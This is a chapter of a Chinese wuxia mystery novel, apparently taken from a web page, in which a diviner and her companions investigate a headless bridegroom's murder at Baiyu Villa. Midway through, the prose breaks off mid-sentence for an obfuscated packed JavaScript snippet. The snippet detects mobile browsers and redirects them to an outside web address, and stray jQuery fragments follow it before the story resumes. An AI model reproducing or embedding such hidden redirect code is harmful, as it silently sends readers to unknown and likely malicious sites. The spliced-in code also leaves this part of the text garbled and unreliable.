序
给自己取名叫嬴政,给自己的帮派取名叫秦王盟。
风水大忌他犯了个遍。
他倒要看看,是天命硬,还是他的刀硬。
——齐聚白玉山庄——
已过子时,白玉山庄归还了诸位宾客的刀剑。
黄金善三人赶到时,兰青溪正被崔知行的护卫用刀押着。
“我弟弟死在你房里,兰庄主应当要给崔家一个解释吧。”
兰青溪只是低着头不说话。
被刀架着,眼角的泪就这么直直落在地上。
她知道崔家这些人要的是什么。崔知闲的命他们从未在意过,无非是想自己再割几家商号罢了。
为了崔知闲,她已将自己名下半数田财给了崔家,算是聘礼。
崔侍郎本欲将崔知闲送给有龙阳之癖的端王,她用尽全力从中周旋,才勉强护住了他。
她以为,她已经带他逃离那魔窟了。
没曾想竟又让他送了命。
给崔家解释简单,谁又来给她一个解释呢?
黄金善进门后,没管这些吵吵嚷嚷的人,径直走向了穿着婚服的尸体。
她刚伸手想摸那断颈,崔知行便拔剑指向她,“你是什么人,敢动我弟弟?”
蒋若木用剑柄一打崔知行的手,他的剑便飞了出去。
“认得这剑吗?”蒋若木斜眼看着崔知行,这崔家人没什么好货,如今竟还敢拿剑对着黄金善,“哦,忘了,你这种小官家的孩子,怕是没机会见这御赐的江山月吧。”
“竟是蒋公子,下官失敬。”崔知行马上拱手鞠躬,刚刚在正厅并未看见蒋若木,不想白玉山庄还住着这等贵客。
“滚出去。”黄金善必须好好琢磨一下这尸体,没空管崔家那些破事,她见那人没动,便又抬眼看崔知行,“崔知行,我让你带着你的侍卫滚出去,没听到吗?”
“你是明宸郡主?”他曾在宫宴上远远见过她,明宸郡主竟没死吗,他自三年前相府大火后便再没听说过她了,她怎会没死?
黄相虽不在了,但陛下未对黄家下任何旨意,如今她既活着,还是需要尊称一声明宸郡主。
“怎么,你要跪下行大礼吗?”黄金善眼神已带怒色,瞥一眼崔知行,他立刻向下跪。
蒋若木没让他跪下,他屈膝瞬间,蒋若木用剑抵住他膝盖向外一弹,他立刻跌跌撞撞地向外走去。
“郡主让你滚,没让你跪。”
这穿着婚服的尸体已头身分离,颈脖处的刀口平整,婚服上没什么血迹。是砍下头后再穿的婚服。颈脖处的血迹已不外流,但却还未干涸,这头应该不是刚刚砍下的,但时间也不长,估摸着就是在今日。
崔知行的侍卫走后,兰青溪勉强再走到尸体身旁。
“兰庄主,振作一点。”黄金善扶住兰青溪的手臂,“这尸体没有头,你如何知道是崔五郎的?”
听到此话,兰青溪才突然提起了神。把院内所有侍女侍卫都叫了过来。
翻找一番后,确实未发现这头。
根据侍女所说,昨天兰青溪见过崔知闲后,夜里未发现什么异常。
因崔知闲是男子,他不喜侍女贴身伺候,早上侍女来接他时,他已梳洗完毕,穿好了婚服,戴着红盖头,言行举止皆如常。
而从新郎回到婚房后,到兰青溪发现新郎出事前,房内更是没有人进出过。
“如今只能脱了这婚服来看了,兰庄主可知崔知闲身上有什么印记?”
黄金善在院内角落里起卦,蒋若木替她指挥着众人查找。
“我未曾与他有过什么亲密接触,”相识以来,兰青溪和崔知闲一直是发乎情止于礼,“纵使他身上有什么印记,我也未必知晓。”
今晚诸事对兰青溪的打击实在太大,如今她的理智恐是难以继续支撑了。
“我们来验验尸体,你先休息吧。”白五扶住兰青溪,示意侍女带她下去。
“山庄的所有刀剑都收起来了,尸体怎会有如此平整的切口?”蒋若木问道,二人探查了尸体,这尸身没有打斗痕迹,没有伤痕,也没有什么印记,唯一的突破点恐怕就是这切口了。
“细线。”白五思考着,“如果没有任何刀具,内力足够的情况下,细线也能割出如此刀口。”
“这……这得功法极深吧。”这可是人头,不是糯米糕,蒋若木疑心真能有人割出这般刀口吗。
“是很难,但鱼戏派不就擅长这些东西吗。”鱼戏派的于老大,便有这拿手绝技,千丝戏鱼。
二人正欲唤人去抓那于老大,窗外突然传来一声巨响,是树倾倒的声音。
他们立刻跑了出去,黄金善正站在那倾倒的树侧。
眼见刚起的卦又被压了一半。
砍断这树的是空中飞来的一把大刀,朝这方向望去,一人站在高处屋檐之上。
黑色披风迎风起伏好似远方山脉,长发高束,眼前碎发未能挡住他那横在右脸上的刀疤。
杀神嬴政,这山头,是他第二次来。
众人听闻此处的动静,都聚了过来。
九年过去,白玉春与嬴政的传说,仿佛已随时间消散了。
纵曾在这武林之巅,如今的满堂宾客,也只有他们认识彼此。
“你是什么时候来的。”唯有对这昔日宿敌,白五看不真切,却能清晰想象到他的模样。
“来了有几日了,我就住这山上。”嬴政就这样在空中信步走到白玉春面前。这世间万物,他能视之若无物,又能踏之若有物。
“我是来找人的,”嬴盟主俯视一圈众人,在断树桩上取下了他的刀,“这武打天下的文公子,在白玉山庄。”
“我要与之一战。”
“那也就是说你是今天唯一拿着刀的人了。”
蒋若木刚说罢,兰青溪便指挥门人,欲拿下嬴政。
“等等青溪,”白五伸手拦住他们,“白玉山庄的人不是他的对手。”
“那难道就让他这样走吗?”兰青溪双眼猩红,理智已压不住她心头涌上的情绪。
“从杀人工具上来看,他和于老大都有嫌疑。”白五手搭在兰青溪肩上,捏住她的肩,他希望她能冷静下来,“但我能为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319943|182550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嬴政作保,他若是要杀人,犯不着做出如此复杂的局。”
“你为一个和你有血海深仇的敌人作保,”兰青溪甩开白五搭在自己肩上的手,“你怎么一如既往得这么软弱又可笑啊,你不怀疑这个曾经要杀了你的人,反而怀疑与我一手建起白玉山庄的鱼戏派吗?”
“行了,不必废话这么多,把这黑衣人和于老大都拿下!”崔知行下了令,穿着黑甲的护卫立刻包围住了众人。
刚欲上前靠近嬴政,他大刀一挥,仅是凭着风力,便隔空将那些护卫甩出去老远。
“我不与无用之人打斗,若不告诉我文公子在何处,我便走了。”
此话激怒了崔知行,他剑刚出鞘,身后黄金善的声音就传了过来。
“不错,人都在。”黄金善从院子角落里走了过来,刚刚起的阵虽然又不是很成功,但突破口已经找到了。
“不知道死的是谁就开始急着抓凶手,可是有什么原因吗,崔知行?”
黄金善的疑问里带着三分玩味,那俾睨的眼神看着他,让他不由得为之一颤。
“我要为我弟弟报仇,有什么不对的吗?”
“没什么不对的,我且问你,你另外一个弟弟崔知文呢?”
“崔知文,你的胞弟,明明也在宾客的名单上,我今日却从未见过他。”黄金善紧盯着崔知行,一句又一句地吐着,不给他半点思量的时间,“你就不担心死的其实是自己另外一个弟弟吗?”
“不可能!”崔知行立刻喊到。
“哦?你这么确定?”众人皆看见了崔知行脸上的神情,黄金善见其中似是有深意。
崔知行立刻意识到自己失态了,不知黄金善到底看出了多少,“知文因家中有事,没有来这白玉山庄参加婚仪。”
“恐怕不是如此吧。”嬴政此时的反驳吸引了所有人的目光,“我亲眼所见,他进了白玉山庄。”
“你莫胡说!”
崔知行的反驳很快就被黄金善打断了,“嬴盟主不会看错的,”一切与她算的没差,看来这崔家秘密不少,“因为崔知文就是嬴盟主要找的,武打天下的文公子。”
听到这话,崔知行面色僵硬。
“你们说,这崔知文,他进了白玉山庄,就再没出去过,也没有人看见过他,他会去哪呢?”
黄金善的话还没说完,崔知行又冲进去看那尸体了。
果不其然,有些东西就算卜卦算不出来,也会有人上赶着要告诉她。
不多时,崔知行气势汹汹地又走了出来,“你诈我!”
“不错,”黄金善笑着看她,“我如今不仅知道你弟弟崔知文来了这白玉山庄、知道他就是文公子,还知道,他和发生在兰庄主房中的这起命案脱不了干系。”
眼见形势清晰了,兰青溪抬手,便有门人上前,控制住崔知行一行人。
揭开崔知行掖住狐狸尾巴的衣角,如今也该探探这白玉山庄的秘密了。
在这江湖众人齐聚白玉山庄的时刻,上演一出无头新郎案。
她黄金善通鬼神之道,还从来没人敢在她面前装神弄鬼。